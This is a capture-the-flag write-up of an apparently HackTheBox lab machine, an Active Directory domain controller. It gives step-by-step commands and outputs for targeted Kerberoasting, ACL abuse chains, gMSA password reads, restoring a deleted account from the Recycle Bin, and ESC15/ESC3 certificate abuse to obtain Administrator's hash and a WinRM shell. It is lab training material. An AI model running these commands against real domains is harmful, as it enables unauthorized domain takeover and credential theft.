TombWatcher
An assumed-breach domain controller. A WriteSPN edge enables targeted Kerberoasting, and a chain of ACL abuses (AddSelf, gMSA password read, ForceChangePassword, WriteOwner) ends at a WinRM shell. Root requires restoring a deleted account from the AD Recycle Bin — its SID still holds enrollment rights on a schema v1 certificate template — then chaining ESC15 application-policy injection into an ESC3 enrollment-agent request for an Administrator certificate.
Attack path
flowchart LR A["nmap — DC01.tombwatcher.htb"] --> B["clock sync from IIS header"] B --> C["BloodHound — henry WriteSPN alfred"] C --> D["SPN set + Kerberoast"] D --> E["alfred : basketball"] E --> F["AddSelf — Infrastructure"] F --> G["gMSA read — ansible_dev$ NTLM"] G --> H["reset sam"] H --> I["WriteOwner + GenericAll — john"] I --> J["WinRM shell — user flag"] J --> K["certipy — ghost SID on WebServer template"] K --> L["Recycle Bin — cert_admin tombstones"] L --> M["Restore-ADObject — cert_admin alive"] M --> N["vuln scan as cert_admin — ESC15"] N --> O["agent cert — RequestAgent policy injected"] O --> P["User template on behalf of administrator"] P --> Q["PKINIT — Administrator NT hash"] Q --> R["WinRM — root flag"]
Recon
Step 1 — Map the domain controller
Full TCP scan against the target. The port set is a classic domain controller fingerprint.
nmap -p- --min-rate 10000 -oA nmap/allports 10.129.96.249nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA nmap/detailed 10.129.96.249Key output: DNS (53), a default IIS page (80), Kerberos (88), LDAP (389/636/3268/3269) with a certificate for CN=DC01.tombwatcher.htb, SMB with signing required (445), WinRM (5985), and ADWS (9389). The host script section reports a clock skew of about four hours — Kerberos will reject requests until the local clock matches the domain controller.
Step 2 — Sync the clock
ntpdate is not present on current Kali. The IIS server returns the domain controller’s time in its Date header.
sudo date -s "$(curl -s -I http://10.129.96.249 | awk -F': ' 'tolower($1)=="date" {sub(/\r/, "", $2); print $2}')"A manually set offset can drift, or an NTP client may correct it hours later. Any late-session Kerberos failure (KRB_AP_ERR_SKEW) after manual time manipulation is a clock problem first — re-sync and retry only the failed step.
Step 3 — Validate the credentials and enumerate
The box supplies henry : H3nry_987TGV!. NetExec validates the credentials over SMB and enumerates shares, users, and the password policy.
nxc smb 10.129.96.249 -u henry -p 'H3nry_987TGV!' --sharesnxc smb 10.129.96.249 -u henry -p 'H3nry_987TGV!' --usersnxc ldap 10.129.96.249 -u henry -p 'H3nry_987TGV!' --pass-polnxc winrm 10.129.96.249 -u henry -p 'H3nry_987TGV!'Shares are the defaults (IPC$, NETLOGON, SYSVOL readable). Domain users: Administrator, Guest, krbtgt, Henry, Alfred, sam, john. WinRM denies henry — the account is not in Remote Management Users. The policy dump shows a lockout threshold of 0, minimum password length 1, and complexity off.
Step 4 — Map the domain with BloodHound
bloodhound-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb -ns 10.129.96.249 -c All --zipThe collection finds 9 users, 53 groups, 1 computer, 0 trusts. Start neo4j, open BloodHound CE, and upload the ZIP. Pathfinding (start HENRY@TOMBWATCHER.HTB, end DOMAIN ADMINS@TOMBWATCHER.HTB) returns no path, and henry has no group memberships — so the way forward is henry’s own outbound edges. Query them in the Cypher tab:
MATCH (u:User {name:'HENRY@TOMBWATCHER.HTB'})-[r]->(n) RETURN type(r), labels(n), n.nameOne useful edge comes back:
type(r): "WriteSPN", n.name: "ALFRED@TOMBWATCHER.HTB"Two details from the same data matter later: Remote Management Users contains exactly one member (john), and Cert Publishers contains DC01 — a certificate authority runs on the domain controller. The user count also differs between tools: SAMR reports 7 users while BloodHound reports 9. One extra object is ANSIBLE_DEV$, a group managed service account.
Foothold
Step 5 — Set an SPN on alfred
henry can write servicePrincipalName on alfred. Any SPN string makes the account Kerberoastable.
ldapmodify -x -H ldap://10.129.96.249 -D 'henry@tombwatcher.htb' -w 'H3nry_987TGV!' <<'EOF'dn: CN=Alfred,CN=Users,DC=tombwatcher,DC=htbchangetype: modifyreplace: servicePrincipalNameservicePrincipalName: svc/alfredEOFStep 6 — Kerberoast alfred
impacket-GetUserSPNs 'tombwatcher.htb/henry:H3nry_987TGV!' -dc-ip 10.129.96.249 -request-user alfred -outputfile alfred.hashOutput is a $krb5tgs$23 hash for Alfred.
Step 7 — Crack the hash
hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txtalfred : basketball — cracked in under a second (on Kali, sudo gunzip -k /usr/share/wordlists/rockyou.txt.gz first if the list is still compressed). NetExec confirms the credential over SMB:
nxc smb 10.129.96.249 -u alfred -p 'basketball'Step 8 — Map the rest of the chain
The same outbound-edge query, run once per compromised principal, walks the chain hop by hop. Each result names the next target and the right that reaches it:
MATCH (u:User {name:'ALFRED@TOMBWATCHER.HTB'})-[r]->(n) RETURN type(r), n.nameMATCH (g:Group {name:'INFRASTRUCTURE@TOMBWATCHER.HTB'})-[r]->(n) RETURN type(r), n.nameMATCH (u:User {name:'ANSIBLE_DEV$@TOMBWATCHER.HTB'})-[r]->(n) RETURN type(r), n.nameMATCH (u:User {name:'SAM@TOMBWATCHER.HTB'})-[r]->(n) RETURN type(r), n.nameMATCH (u:User {name:'JOHN@TOMBWATCHER.HTB'})-[r]->(n) RETURN type(r), n.nameALFRED --[AddSelf]--> INFRASTRUCTUREINFRASTRUCTURE --[ReadGMSAPassword]--> ANSIBLE_DEV$ANSIBLE_DEV$ --[ForceChangePassword]--> SAMSAM --[WriteOwner]--> JOHNJOHN --[GenericAll]--> ADCS (organizational unit)JOHN --[MemberOf]--> REMOTE MANAGEMENT USERSEvery hop below uses exactly one of these edges.
Privilege escalation
User flag
Step 9 — Add alfred to Infrastructure
ldapmodify -x -H ldap://10.129.96.249 -D 'alfred@tombwatcher.htb' -w 'basketball' <<'EOF'dn: CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htbchangetype: modifyadd: membermember: CN=Alfred,CN=Users,DC=tombwatcher,DC=htbEOFStep 10 — Read the gMSA password
nxc ldap 10.129.96.249 -u alfred -p 'basketball' --gmsaAccount: ansible_dev$ NTLM: 49ac0e043f08822a1d5ac558277e1cfb PrincipalsAllowedToReadPassword: InfrastructureStep 11 — Reset sam’s password
ansible_dev$ holds ForceChangePassword over sam. SAMR’s setuserinfo2 at level 23 sets a password without knowing the old one.
rpcclient --pw-nt-hash -U 'tombwatcher.htb/ANSIBLE_DEV$%49ac0e043f08822a1d5ac558277e1cfb' 10.129.96.249 \ -c 'setuserinfo2 sam 23 Password1!'rpcclient prints nothing on success. sam : Password1! now authenticates.
Step 12 — Take ownership of john
sam can write the owner of john’s object. As owner, sam can then rewrite the DACL.
bloodyAD --host 10.129.96.249 -d tombwatcher.htb -u sam -p 'Password1!' \ set owner 'CN=john,CN=Users,DC=tombwatcher,DC=htb' 'CN=sam,CN=Users,DC=tombwatcher,DC=htb'[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by CN=sam,...impacket-owneredit and impacket-dacledit returned invalidCredentials for sam with both hash and password authentication, while netexec and bloodyAD authenticated fine with the same credentials, so bloodyAD performed all owner and DACL operations on this host.
Step 13 — Grant GenericAll and reset john’s password
bloodyAD --host 10.129.96.249 -d tombwatcher.htb -u sam -p 'Password1!' \ add genericAll 'CN=john,CN=Users,DC=tombwatcher,DC=htb' 'CN=sam,CN=Users,DC=tombwatcher,DC=htb'rpcclient -U 'tombwatcher.htb/sam%Password1!' 10.129.96.249 -c 'setuserinfo2 john 23 J0hn_R00t#2026'Step 14 — Shell and user flag
john is the single member of Remote Management Users.
evil-winrm -i 10.129.96.249 -u john -p 'J0hn_R00t#2026'C:\Users\john\Desktop\user.txt contains <redacted>.
Root
Step 15 — Enumerate the certificate authority
john’s GenericAll on the ADCS OU yields nothing directly — the OU is empty — so the CA itself is the next target.
certipy-ad find -u john@tombwatcher.htb -p 'J0hn_R00t#2026' -dc-ip 10.129.96.249 -ns 10.129.96.249 -stdoutOne CA: tombwatcher-CA-1 on DC01. Web enrollment is disabled (no ESC8) and user-specified SAN is disabled at the CA level (no ESC6). Of 33 templates, 11 are published. The WebServer template stands out:
Template Name : WebServerEnabled : TrueEnrollee Supplies Subject: TrueCertificate Name Flag : EnrolleeSuppliesSubjectExtended Key Usage : Server AuthenticationSchema Version : 1Template Last Modified : 2024-11-16 17:07:26 (every other template: 00:57)Enrollment Rights : Domain Admins, Enterprise Admins, S-1-5-21-1392491010-1358638721-2126982587-1111An unresolved SID in an access list is a deleted object. Permissions tied to a dead SID remain in the ACL.
Step 16 — Hunt the SID in the Recycle Bin
ldapsearch -x -H ldap://10.129.96.249 -D 'john@tombwatcher.htb' -w 'J0hn_R00t#2026' \ -b 'CN=Deleted Objects,DC=tombwatcher,DC=htb' -s one -E '!1.2.840.113556.1.4.417' \ '(objectClass=*)' cn sAMAccountName objectSid lastKnownParentThree deleted cert_admin users, all with lastKnownParent: OU=ADCS,DC=tombwatcher,DC=htb, with RIDs 1109, 1110, and 1111. The 1111 entry is the SID holding enrollment rights on WebServer. The same query as henry earlier in the session returned an empty success — not an error — so if the Recycle Bin looks empty, retry as a more privileged principal before concluding there are no tombstones.
Step 17 — Restore cert_admin
A restored object keeps its original SID, so its ACEs apply again. Restore lands the object in lastKnownParent — the OU john fully controls. Run this in the john evil-winrm shell from step 14 (reconnect first if it has dropped: evil-winrm -i 10.129.96.249 -u john -p 'J0hn_R00t#2026').
Get-ADObject -LDAPFilter '(objectSid=S-1-5-21-1392491010-1358638721-2126982587-1111)' -IncludeDeletedObjects | Restore-ADObject -NewName 'cert_admin' -TargetPath 'OU=ADCS,DC=tombwatcher,DC=htb'The account returns enabled with its original SID. Restored objects lose their password.
A scheduled process re-deletes the restored cert_admin roughly 15 minutes after restoration and reverts added ACEs (password changes persist). Chain restore → password reset → certificate requests in one pass. If the account disappears mid-chain (a certipy-ad req fails with rpc_s_access_denied), re-arm and continue:
# in the john evil-winrm shellGet-ADObject -LDAPFilter '(objectSid=S-1-5-21-1392491010-1358638721-2126982587-1111)' -IncludeDeletedObjects | Restore-ADObject -NewName 'cert_admin' -TargetPath 'OU=ADCS,DC=tombwatcher,DC=htb'# on the attack hostbloodyAD --host 10.129.96.249 -d tombwatcher.htb -u john -p 'J0hn_R00t#2026' > set password 'CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb' 'C3rt_Admin#2026'Step 18 — Take over cert_admin
john’s GenericAll on the OU is container-inheritable, so it applies to the restored child.
bloodyAD --host 10.129.96.249 -d tombwatcher.htb -u john -p 'J0hn_R00t#2026' \ set password 'CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb' 'C3rt_Admin#2026'nxc smb 10.129.96.249 -u cert_admin -p 'C3rt_Admin#2026'Step 19 — Re-scan as cert_admin: ESC15
Enumeration results depend on who asks. Run again as the account that can actually enroll:
certipy-ad find -u 'cert_admin@tombwatcher.htb' -p 'C3rt_Admin#2026' \ -dc-ip 10.129.96.249 -ns 10.129.96.249 -vulnerable -stdoutTemplate Name : WebServer[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin[!] Vulnerabilities ESC15 : Enrollee supplies subject and schema version is 1.[*] Remarks ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019.ESC15 (CVE-2024-49019): schema version 1 templates do not enforce application policy constraints. A requester can inject an arbitrary application policy — such as Certificate Request Agent — into the request attributes, and the CA includes it in the issued certificate regardless of the template’s EKU.
Step 20 — Request an enrollment-agent certificate
certipy-ad req -u 'cert_admin@tombwatcher.htb' -p 'C3rt_Admin#2026' \ -ca tombwatcher-CA-1 -template WebServer -dc-ip 10.129.96.249 -ns 10.129.96.249 \ -application-policies '1.3.6.1.4.1.311.20.2.1' -out agent[*] Successfully requested certificate[*] Got certificate without identity[*] Certificate has no object SIDThe certificate now functions as an Enrollment Agent certificate.
Step 21 — Request an Administrator certificate on its behalf
An enrollment agent can request certificates for other principals. The User template carries a real Client Authentication EKU, and the CA stamps the on-behalf-of target’s identity into the certificate.
certipy-ad req -u 'cert_admin@tombwatcher.htb' -p 'C3rt_Admin#2026' \ -ca tombwatcher-CA-1 -template User -dc-ip 10.129.96.249 -ns 10.129.96.249 \ -on-behalf-of 'tombwatcher\administrator' -pfx agent.pfx -out administrator[*] Got certificate with UPN 'administrator@tombwatcher.htb'[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'This certificate passes where forgeries failed because the CA issued it for the real target identity: Client Authentication EKU from the User template, the target’s UPN, and the target’s SID in the security extension. PKINIT’s EKU check and KB5014754 SID binding both pass because nothing was spoofed — the CA vouched for the mapping.
Step 22 — Authenticate with the certificate
certipy-ad auth -pfx administrator.pfx -domain tombwatcher.htb -dc-ip 10.129.96.249A first run returned KRB_AP_ERR_SKEW — the session-long clock offset had drifted. Re-running step 2’s sync and then this command produced:
[*] Got TGT[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fcStep 23 — Shell and root flag
evil-winrm -i 10.129.96.249 -u administrator -H f61db423bebe3328d33af26741afe5fcC:\Users\Administrator\Desktop\root.txt contains <redacted>.
What didn’t work
Each failed path below carried a rule worth keeping.
henry over WinRM. henry is not in Remote Management Users; the only member is john. The shell had to come from the chain, not from the starting account.
SYSVOL, GPP, and the DC policy. No cpasswords, no custom scripts, and the Default Domain Controllers Policy GptTmpl.inf contained only stock privilege rights. A larger-than-default SecEdit file is not by itself a finding.
Password spraying. The policy allowed it (lockout threshold 0). Both sprays — henry’s password against the other users, and basketball against john and sam — returned no reuse. Cheap, negative, and worth recording before deeper work.
Schannel as DC01$ with WebServer certificates. Certificates issued with SAN UPN: DC01$ and SAN DNS: DC01.tombwatcher.htb both failed LDAPS client authentication with “Server did not return an identity”. Two mechanisms reject them: a SID-less client certificate requires weak certificate mapping (not enabled on a hardened 2019 DC), and a Server-Authentication-only EKU is not accepted for AD client auth.
The User template as cert_admin. rpc_s_access_denied at the request call. The restored cert_admin is not a member of Domain Users, and the User template enrolls Domain Users only. Its enrollment scope is exactly the ghost SID’s ACE: WebServer, nothing else.
UPN hijack on the User template. Setting a controlled Domain User’s UPN to Administrator@tombwatcher.htb and requesting the User template does issue a Client Authentication certificate with the Administrator UPN — but the CA also stamps the requester’s SID into the security extension (KB5014754). The KDC rejects the mismatch: SID says john, UPN says Administrator. Non-ESS issuance is SID-bound.
Verifying ESC15 by inspecting the EKU extension. A request with -application-policies 'Client Authentication' produced a certificate whose openssl x509 -ext extendedKeyUsage showed only Server Authentication. The conclusion drawn — “the CA strips injections, CVE-2024-49019 is patched” — was wrong. ESC15 injections live in the application-policy mechanism and do not appear in the EKU extension. The single-step Client Authentication variant works on this box; the proxy check discarded a working path. Verify a technique at the point of consumption, not through a field that cannot represent it.
Forging the SID with -sid. certipy-ad req -sid S-1-5-21-...-500 on the ESS template was honored: the CA issued a certificate with the Administrator UPN and the Administrator SID, both client-supplied. Schannel still refused it (ServerAuth-only EKU). PKINIT never returned a KDC verdict, because certipy aborts on a name-mismatch preflight — the built-in Administrator has no UPN attribute, so the check compares a sAMAccountName against a UPN string. Native kinit with the krb5-pkinit package and a split PFX would have tested the KDC directly. A tool’s preflight is not the protocol’s answer.
Ghost-ACE sweep of every template and key object. Reading nTSecurityDescriptor across all 33 templates, the CA object, NTAuthCertificates, the OID container, both GPOs, and the user objects found no rights for RIDs 1109 or 1110 — only RID 1111 on WebServer. Two collection gotchas surfaced: plain ldapsearch -x gets nTSecurityDescriptor silently stripped (unsigned simple bind; bloodyAD’s NTLM signing reads it), and ldapsearch needs -o ldif-wrap=no or the base64 descriptor wraps and decodes truncated.
Local groups, delegation, and task hunting. Local Administrators contains only the defaults, no account holds constrained delegation or RBCD attributes, and all visible scheduled tasks are Microsoft’s. WMI and HKLM\...\NTDS\Parameters deny a standard user, so the cleanup loop’s actual mechanism stayed unidentified — only its behavior was observable.
Lessons learned
- Re-enumerate as every new principal. The ESC15 flag appears in
certipy find -vulnerableonly when the requesting account can enroll on the template. The most important scan of the box does not exist until cert_admin exists. - Unresolved SIDs are leads, not noise. A deleted principal’s SID keeps its ACEs; a Recycle Bin restore revives both the object and its rights.
lastKnownParentplus control of that container is the complete recipe. - Verify exploits at the point of consumption. The openssl EKU check could not represent an application-policy injection and produced a false “patched” verdict that cost the better part of an hour.
- Preflight is not the protocol. certipy’s name-mismatch abort masqueraded as a KDC rejection for a certificate the KDC never saw.
- Long sessions drift. A clock offset set at hour one broke Kerberos at hour five. Re-sync before blaming the artifact.